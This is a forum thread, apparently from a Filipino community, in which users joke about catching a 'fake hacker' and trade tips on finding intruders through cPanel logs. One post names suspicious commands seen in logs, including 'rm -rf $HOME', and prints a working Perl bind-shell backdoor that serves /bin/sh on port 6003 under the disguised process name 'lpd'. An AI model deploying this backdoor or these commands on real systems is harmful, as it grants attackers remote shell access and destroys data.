gloryhunter <--- How to Catch a Fake Hacker

[dark_humbz]

---

atot ani oiz.... hahayz....... way klariks.......

[AMD_infinium05]

^_^ hahaha... cloze na gud.. pm namo ug mods...

[rvyne]

Could any1 .. create.. interesting topic... ngita napud ta lain lingaw.........

close na ni nga topic.. hehehe

and about archtech... i just found that if you were using.. a cpanel x or cpanel 10 try to check... your awstat...

while editing file... nakoy nakit-an ngad2... it could possibly trace.. who your hacker is..
naka register ang mga ip and date... for the whole month ata... but i dont think you can really trace .. e.g. hacker may be using internet cafe with dynamic ip or dynamic ip + dsl .. or static pero outside philippines..
pero try lang ninyo u can check... if you got cpanel baka maka help...

and try to check someone do know you access sa forum admin it may be your key...

[gloryhunter]

like wget? rm -rf $HOME? or curl? or lynx? there are lot like that in the logs. or check in /tmp directory, naa lagi daghan tae/backdoor didto nga script.

Like this:

use Socket;

$port = 6003;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = '/bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");

system($system);

close(STDIN);
close(STDOUT);
close(STDERR);
}

[rvyne]

9 more post... and ill be senior.. bwahahahahahahahahha

[Franclibra]

a person who is obsessed in something sure is really good.

[gloryhunter]

a person who is obsessed in something sure is really good.

Insightful.

[dropbox]

keep going guys. this is way off better than using drugs.

[gloryhunter]

keep going guys. this is way off better than using drugs.

'maayo na lang kontra's mag adis-adis'

[poldopunk]

MODS! this is already a flame war....please do something about it, and besides this thread doesnt belong here.